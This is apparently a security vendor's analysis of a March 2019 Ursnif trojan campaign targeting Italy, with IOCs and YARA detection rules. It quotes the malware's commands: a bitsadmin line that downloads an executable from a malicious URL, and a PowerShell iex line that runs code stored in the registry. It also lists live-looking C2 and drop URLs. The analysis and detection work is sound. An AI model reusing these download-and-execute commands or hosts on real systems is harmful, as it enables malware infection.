The Ursnif Gangs keep Threatening Italy

03/26/2019

Introduction

The Ursnif trojan confirms itself as one of the most active malware threats in cyberspace, even during the past days, when new attack attempts reached several organization across Italy. Cybaze-Yoroi ZLab teams dissected its infection chain to keep tracking the evolution of this persistent malware threat, analyzing its multiple stages, each one with the purpose to evade detection, sometimes leveraging system tools to achieve its final objective: run the Ursnif payload.

Figure 1: Infection chain of Ursnif malware

Technical Analysis

Unlike previous waves, this one does not leverage steganography or heavily obfuscated powershell payloads. Instead, it abuses a VB script hidden into a compressed archive embedded within an innocent looking email referencing a summon. When users click on “Decreto” hyperlink, they are redirected to a Google Drive web page which opens a fake page where a fake document is shown and it invites them to click on a download link

Figure 2: Drive document “Scarica il documento”

Once clicked on the “Scarica il documento” link into the Drive document, an archive is downloaded on the victim machine from blogger[.]scentasticyoga[.]com, embedding two different files: the first is an obfuscated Visual Basic Script (VBS) and the second one is a legit image placed there to deceive the victim.

Figure 3: File contained in the Zip file

The VBS code is obfuscated to evade antivirus detection and, in order to confuse the analyst, all the values are manipulated in different steps: using many mathematical operations, very long random variable names and other content encoded in Base64 format. The malicious routine is split in many slices and then recombined at runtime, quite basic but it is effective evasion technique. After a first de-obfuscation phase, a more readable code could be obtained.

Figure 4: Malicious VBS, obfuscated (left) and de-obfuscated (right)

In the end, the infection starts and the malware runs cmd.exe to download the “eyTWUDW.exe” through the Bitsadmin utility, and store it into "%APPDATA%\Local\Temp".

“C:\Windows\System32\cmd.exe” /c bitsadmin /transfer msd5 /priority foreground http://blog.practicereiki.com/pagpoftrh54.php C:\Users\admin\AppData\Local\Temp/eyTWUDW.exe

The Bitsadmin utility is legit Microsoft command line tool typically used by sysadmins to download system updates, but during the last years it has also been abused by cyber criminals to masquerade malicious network activities. In this case it has been leveraged to manage the download of the next component of the infection chain from “hxxp://blog[.practicereiki[.com/pagpoftrh54[.php”.

After that, the loader runs “schtasks” to enable the execution of the “eyTWUDW.exe” payload temporary stored in “%APPDATA%\Local\Temp”, and then downloads the next malware stage from

http[://link[.kunstsignal[.net/images/W534K5hp8zGWYvpMJkayjGf/FqWxvwp_2F/1_2BEPHtH1r_2FpG5 /o0BuA8sr5LGg /IDwj8Q6mCoq/5nK9XEb3WoD5wW/y8lJVn5t5QXZMUgDQopzF /oO58ImaZl53M5X3E/whzGq3GIOtuCnK6/o3R_2BwMMv/wAo5qeqZ/a[.avi

Through the mentioned URL, it was possible to intercept the downloaded encrypted payload, sub-sequentially digested by the “eyTWUDW.exe“ process which, after an internal decryption phase, stores it into a registry key, establishing a file-less persistence on the target machine.

Figure 5: Registry key set by malware

Moreover, the malware contacts another time the C2 to confirm the successful infection, sending a check-in HTTP request containing parameters used to identify the malware implant:

Parameter	Value	Description
soft	3	Major release
version	214071	Malware software version
user	b2861874feedbf530d08c77a9d5833de	User id of the infected machine
server	12	Server ID
id	822	Synthetic id of infected machine
crc	1	checksum
uptime	235	Time of infection start

Table 1: Ursnif infection format

Investigating the remote destination where the C2 is hosted, it results active since 05 March 2019, just a few times before the attack wave; destination unknown to many AV Vendors at time of attack, suggesting this portion of the infrastructure has been specifically prepared for the Italian landscape.

At this point, "*eyTWUDW.exe*" runs the previously stored script through the following command, invoking Powershell code from the registry sub-key "*amxrters*".

```
powershell  iex([System.Text.Encoding]::ASCII.GetString((Get-ItemProperty
'HKCU:\Software\AppDataLow\Software\Microsoft\94502524-E302-E68A-0D08-C77A91BCEB4E').amxrters))
```

The content of this additional script is obfuscated with layers of Base-64 encoding, arrays of integers and char-code to byte conversions. Dissecting the script we obtained a more readable code:

Figure 6: Script extracted from registry key (left Obfuscated, right Deobfuscated)

The first part contains dependencies loaded by the malware to interact with the OS, such as the classic "kernel32" and, more interestingly, one of the last called functions reveal the usage of the same APC injection techniques observed in previous attack waves to inject the payload into the "Explorer.exe" process (rif. "QueueUserAPC" in "Dissecting the Latest Ursnif DHL themed Campaign"). The de-obfuscation of the central part of the script reveals the classical string "*This program cannot be run in DOS mode*", part of the header of the final stage of the malware will be injected into the Explorer process.

Figure 7: Ursnif final payload extracted from script

After noticing the payload is very similar to another Ursnif sample yet analyzed in "Ursnif Long Live the Steganography", we proceeded with a differential analysis to spot eventual variations between the samples.

Figure 8: Diff. analysis between already analyzed sample (1)

At first look, there are many common parts between the samples, for instance both files are compiled in 64 bit mode and the value in the PE sections are closely similar. However, the compilation time were different: while the older is the 28th January, the newer one is 11 March, almost a week after the comparison on the internet of the command and control server host 46.8.18[.186 (CONTEL-NET-3 RU).

Figure 9: Diff. analysis between already analyzed sample (2)

Conclusion

Ursnif confirms itself as one of the most active and aggressive malware threats spreading both worldwide and within the Italian cyber-landscape. Threat actors behind these attacks constantly update and vary their infection chains to avoid security controls and evade antivirus detection, luring users with context sounding email messages being opened by thousands of victims each attack wave. A serious threat for the security of users data and company assets.

Indicator of Compromise

- Dropurl:
  - hxxps://drive[.]google[.]com/file/d/12F5NTHrUvJyCrHGwdxcB8VemGVbNHxk-/view?usp=sharing/
  - hxxp://blogger[.]scentasticyoga[.]com
- Components:
  - *Atto_5164865151981665165165165165l.vbs*
  - *eyTWUDW.exe*
- C2:
  - http[://link[.kunstsignal[.net/images/
- Hash:
  - a60864bfaaf6d8465a44d1cfceb38001d3de5466bef4c993e51d0f7a4e28776d
  - 343423080d891e9c05053b8e9854f63d7e9cb8ee79add7341511a0d274a42047
  - 26300dd94a2cb0b0472d94cceabb8586ba51ef850125fe8c81f88345274c5d2e

Yara Rules

```
rule Ursnif_201903 {
meta:
        description = "Yara rule for Ursnif loader - March 2019 version"
        author = "Yoroi - ZLab"
        last_updated = "2019-03-22"
        tlp = "white"
        category = "informational"
strings:
        $a1 = { 83 02 00 30 83 02 00 4C 83 02 00 68 }
        $a2 = { FF 83 C4 18 EB 19 FF 75 1C 8D }
        $a3 = { 32 A8 D7 0E D9 85 B5 E7 67 F3 0F 53 }
```

```
condition:
        all of them
 }

rule Ursnif_201903_regkey_payload {
meta:
        description = "Yara rule for Ursnif registry key payload - March 2019 version"
        author = "Yoroi - ZLab"
        last_updated = "2019-03-22"
        tlp = "white"
        category = "informational"
strings:
        $a1 = "53,45,9f,22,96,b4,20,01,7f,45"
        $a2 = "17,a9,ef,0e,48,a5,1c,24,a2,47,16,76"

condition:
        all of them
 }
```